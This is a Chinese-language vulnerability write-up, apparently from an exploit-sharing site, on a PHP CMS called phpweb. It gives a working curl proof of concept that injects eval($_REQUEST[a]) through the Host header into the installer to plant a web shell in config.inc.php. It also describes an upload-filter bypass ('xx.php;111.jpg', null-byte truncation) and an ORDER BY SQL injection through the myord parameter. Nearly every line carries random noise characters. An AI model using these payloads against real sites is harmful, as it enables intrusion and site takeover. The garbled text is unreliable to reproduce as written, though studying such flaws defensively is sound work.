注入:
" }, M1 ]& `. J
% u) k* M2 Y9 {, C# L$ n之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
8 P4 W% K" a y4 R o9 n2 d5 t1 m
: x( a& u4 s9 A* F鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
- a. c) x4 c8 y鸡肋2: 有一定安全常识的站长都会删掉 install 目录
6 k0 n' N/ Y6 W- ]/ I/ s. s
, B9 s% G5 I0 X$ V虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响4 @% n7 a/ L" N' g) ~; X) g
: D& n8 h' e9 A2 n2 C$ V分析:
" R3 \! h/ o+ {4 E: y$ B+ M: q5 P. F - d2 m* z w( ^7 J- B! ?, p8 M
, N& s2 E" q* S1 _ X% m
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
: a! Q5 y# d" ?( V S 9 b4 k4 D; |. ~
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
1 ~; p& w" O7 P' p2 x" V# s8 R $filestr=str_replace(" ","",$filestr);
2 N# B. b, p0 u $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);, o+ M9 |8 n- V# Z# }$ `
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
6 D, Y5 N* I' ?8 a $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);' C" d8 k: m$ P' m+ C. b0 ^$ J3 m
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
! [/ f* T. D1 d) O3 w! ` N5 S/ { $filestr=str_replace("DefaultsLan","zh_cn",$filestr);) K4 w6 }, S0 d8 I" }
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
& B4 d# k% B7 {* ]( n $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);2 y1 `. i& T, x: |) Z
1 D, x7 X4 n8 S% @! [8 Q; ` fwrite(fopen($ConFile,"w"),$filestr,30000);4 {2 C' r5 z3 _* c8 k
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^5 S+ }) H& u" m. N! d& T* x# {! [& M
2 j5 q7 Y, r3 b+ tpoc:& l/ ]& R; ?0 S) N4 V
6 G0 O% Y3 u/ e
?
X& |- G! {, a13 R: }' d# A( W l" p! z' r
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ W) r7 U' p7 Q' Y
shell地址: /config.inc.php" U* S: t; T* z( } w
跟之前的 phpcms一样 需要远程数据库2 k6 |* l8 Z# d# \; b: h
2 H! v1 u) J; ?' c# P
——————————————————–
! Y9 f0 Q( N X6 m1 @4 I6 j$ n上传漏洞(需要进后台):
- O& W7 U+ r4 L- G! K% ~& j6 D漏洞文件: /kedit/upload_cgi/upload.php/ }3 f; p/ J( h8 Y; H
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
R" j7 r9 Z8 o' s5 a/ i
. H: b/ B6 J: l& @* N 3 c' \$ e$ N! C% f
<?php- Z3 F o Q, z- K
define("ROOTPATH", "../../");" W* @ q" g f0 V. _+ B
include(ROOTPATH."includes/admin.inc.php");3 U' L8 s* I5 P
NeedAuth(0);, x, o/ }+ k! M
" b# b. p2 w ~
$dt=date("Ymd",time());
0 b* D$ s9 N1 g if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){1 Y3 `4 |' \# r. B5 z+ x
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);7 ]: s) Y: s* x; {8 L
}
" y" q/ b. H7 z" l
* [2 |- G& F) e1 V. ]% b //文件保存目录路径
9 }. j ~. U9 X $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
0 o: ?8 j5 N0 ~9 n. |. W" V7 r echo $save_path;
- Q: L, H1 l4 J //文件保存目录URL/ E5 r: M- U, D" p) c6 v0 J2 I
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
1 J+ f. ~, J6 p1 q# K
; {9 R8 N p- _, o0 p+ E( ] //定义允许上传的文件扩展名( x/ O0 U8 d0 \* \1 c1 d' l
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀5 R- H* L1 {: O- ^
$ x6 Z6 q* ~" X; M- `4 W$ ~1 x! } //最大文件大小. `8 N+ v+ B8 o- t$ e2 o: R4 W
$max_size = 1000000;7 q1 v- ^, m; i" L; Y
( @0 q# H; O8 Q0 f6 A9 z9 a7 z. ]( X //更改目录权限' S. \8 ?, u4 E/ ]4 {' q: W
@mkdir($save_path, 0777);0 v/ {" L! g O' G; r" A
: c; k! V. K1 {9 Y, a& \* D$ g
//文件的全部路径* S8 A G$ S5 ?/ m
$file_path = $save_path.$_POST['fileName']; //保存文件名
- Y4 d+ I7 P8 V) {' C( S $ B& ]7 k( O) x. U
//文件URL I- j8 _+ b! \2 w J) l
$file_url = $save_url.$_POST['fileName'];5 |5 B9 S6 o4 m: X$ n3 U
//有上传文件时4 r9 g6 r! ~ ?/ L
if (empty($_FILES) === false) {
9 Y2 C2 ~2 U0 C' ^* w
5 u% Q; T8 w3 h: h6 z$ C //原文件名! g! W! [3 {! H2 X/ P2 p' p0 I
$file_name = $_FILES['fileData']['name'];) b" O: M2 h3 w! b* _
//服务器上临时文件名
7 K( `$ _1 ^! O; C $tmp_name = $_FILES['fileData']['tmp_name'];
5 n3 J3 k/ k' @0 h //文件大小
! R; ?# e! ~/ X4 a $file_size = $_FILES['fileData']['size'];9 a3 }1 P# v% y7 }# M
//检查目录& C0 K$ ^& G, f c2 L6 {; i* B
if (@is_dir($save_path) === false) {
6 z. T: ]* i/ O |6 i$ z+ \ alert("上传目录不存在。");
1 T ~; W% V$ i }, v" r9 w# N/ [! @& M. z7 H5 s
//检查目录写权限
6 n; r6 V! c3 W) e% j& ]( ^ c* X if (@is_writable($save_path) === false) {) {- i7 C6 t. o( B+ C$ F* ?
alert("上传目录没有写权限。");: Y/ L0 a8 o$ t4 R% G! t
}+ a# I! c2 l. B; Q, @
//检查是否已上传
. ]6 B. n# I: L S6 M: ` if (@is_uploaded_file($tmp_name) === false) {5 U' C7 J" G# k0 V( u& h. F( _
alert("临时文件可能不是上传文件。");! q9 D5 L! h+ y7 S4 v! O: M
}
, c. N3 c9 V/ ]& P6 p( E* S //检查文件大小5 ]7 }) q/ @ i6 n
if ($file_size > $max_size) {# q: P! U3 J: `, U# J" \
alert("上传文件大小超过限制。");$ v8 M1 b2 z3 F h
}
0 A' z' B4 }- f- i- E: A //获得文件扩展名
, c; E6 V5 ^ `( e $temp_arr = explode(".", $_POST['fileName']);
% D, L; l) x( O $file_ext = array_pop($temp_arr);5 p6 |" S0 {& g( W
$file_ext = trim($file_ext);; h4 |% W0 A, Y$ s' B
$file_ext = strtolower($file_ext);
5 d# w* R, P% y! _9 N0 K
) X, D% h9 t, { //检查扩展名 ' l; y6 H' C3 B. m* O# Q, f
if (in_array($file_ext, $ext_arr) === false) {
8 z: V3 ?+ \* L alert("上传文件扩展名是不允许的扩展名。");$ M4 J+ H+ ~8 n3 D q0 g
}% v8 G; e( B1 T5 v/ N- T& Z- i/ D
: P; P$ V7 s# `* j7 P0 b
//移动文件 : Y: w+ o9 L. P8 N& N7 ^* @5 B
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^; ]6 T% e3 O3 Z3 J( N+ h. k4 C9 {& ?" _
if (move_uploaded_file($tmp_name, $file_path) === false) {
) Y, I' m/ R( P9 I! s, _8 \ alert("上传文件失败。");6 F8 U+ B8 [& h) [+ }1 ^; M1 J
}% K8 O7 i) s; r4 H% }1 g5 C0 _( k
& o; E z* O* ]. }8 Q5 n @chmod($file_path,0666);
5 f9 i, _* \" a) ~8 `. G * m6 }" p a( r
?>
0 y6 N5 e: I# r5 f$ Z3 ]/ w* Q- L抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
2 a' ? c$ G, D- R " A# S5 }5 z; D1 Z& b' o/ ]3 b
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过( K7 t* z. F) G" Y
% H* \7 j( }& o8 C- E——————————————————4 Q* {9 Q$ \/ T6 V
注入漏洞:6 _, O. r% {7 @( x
漏洞文件:search/module/search.php8 F9 K/ B+ R+ `5 D; }
/search/index.php?key=1&myord=1 [sqlinjection]
( v& x R2 s; T
/ {, T, L% v+ N8 S! q9 ]* Y! V + j# e Q% J4 L, f
<?php
q2 c* ]( u7 j4 {8 F( V // ... 省略 n 行...
- \$ L+ Q1 G6 n- f //第18行:
$ i7 x) O; c' Z2 J, Y& ^ A+ k $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
. p) {+ Q* g1 _) _+ b $page=htmlspecialchars($_GET["page"]);. e& j# M6 z: b; `/ o j
$myord=htmlspecialchars($_GET["myord"]);
4 Y+ K/ f7 S% l* b
1 Q, [; v$ P" k // ... 省略 n 行...1 ~9 I$ e/ c1 [5 u% a' L4 f8 R
$key,$myord 两个参数带入查询* V6 G `! h4 [$ [. |4 F8 }
//第47行 $key:) C* M, A; u: h; x# j! |6 a; _
3 J+ F8 k( H g# x0 v" f7 B
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
% ~* ?# Y! g6 V' Q2 U/ u6 K* D . w4 S+ Q; V* `* c- D- J* G
//第197行 $myord$ `2 A' L+ C. `- l# z: R0 b0 G! Y7 |
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
/ k5 H# m& [, g$ O/ Z' o ) N. y3 [* ^2 a0 c1 [, o
?>
j* {$ T( ]! s" c8 J$ a8 b, } |